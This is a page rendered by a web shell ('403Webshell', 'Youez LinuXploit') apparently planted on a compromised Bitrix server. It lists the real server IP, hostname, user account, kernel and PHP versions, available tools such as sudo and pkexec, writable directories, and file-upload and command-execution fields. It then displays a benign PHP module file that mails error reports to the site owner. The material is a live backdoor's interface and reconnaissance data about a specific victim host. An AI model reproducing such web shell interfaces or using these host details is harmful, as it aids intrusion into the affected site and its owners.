403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/letme.watchman/lib/Drivers/Mail/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/letme.watchman/lib/Drivers/Mail/ReportEvent.php
<?php

namespace Letme\Watchman\Drivers\Mail;

use Bitrix\Main\Context;
use Bitrix\Main\Mail\Internal\EO_EventMessage;
use Bitrix\Main\Mail\Internal\EventMessageTable;
use Letme\Watchman\Common\Helper;
use Letme\Watchman\Drivers\IReport;
use Letme\Watchman\Settings\Action\GetSettingsByDriver;

class ReportEvent
{
    public const EVENT = 'WATCHMAN_SEND_ERROR_REPORT';

    public $report;

    public function __construct(IReport $report) {
        $this->report = $report;
    }

    protected static function getSiteId() {
        return \CSite::GetList("", "", ['ID' => SITE_ID])->Fetch()
            ? SITE_ID
            : (new GetSettingsByDriver())->execute(Mail::class)[SettingsEnum::defaultSite()->value];
    }

    public function send() {
        $request = Context::getCurrent()->getRequest();
        return \CEvent::Send(
            self::EVENT,
            self::getSiteId(),
            [
                'REQUEST_URI' => $this->report->getRequestUri(),
                'ERROR_CLASS' => $this->report->getException()->className,
                'ERROR_MESSAGE' => $this->report->getException()->message,
                'FILE' => $this->report->getException()->file,
                'POSITION' => $this->report->getException()->line,
                'DETAIL_LINK' => Helper::getSiteUrlFromRequest($request) .
                    Helper::getPage('issues', ['ID' => $this->report->getHash()]),
                'EMAIL_TO' => \COption::GetOptionString("main", "email_from", ""),
            ]
        );
    }

    public static function getEventMessageObject(): ?EO_EventMessage {
        if ($message = EventMessageTable::getList(['filter' => ['EVENT_NAME' => self::EVENT]])->fetchObject()) {
            return $message;
        }

        return null;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit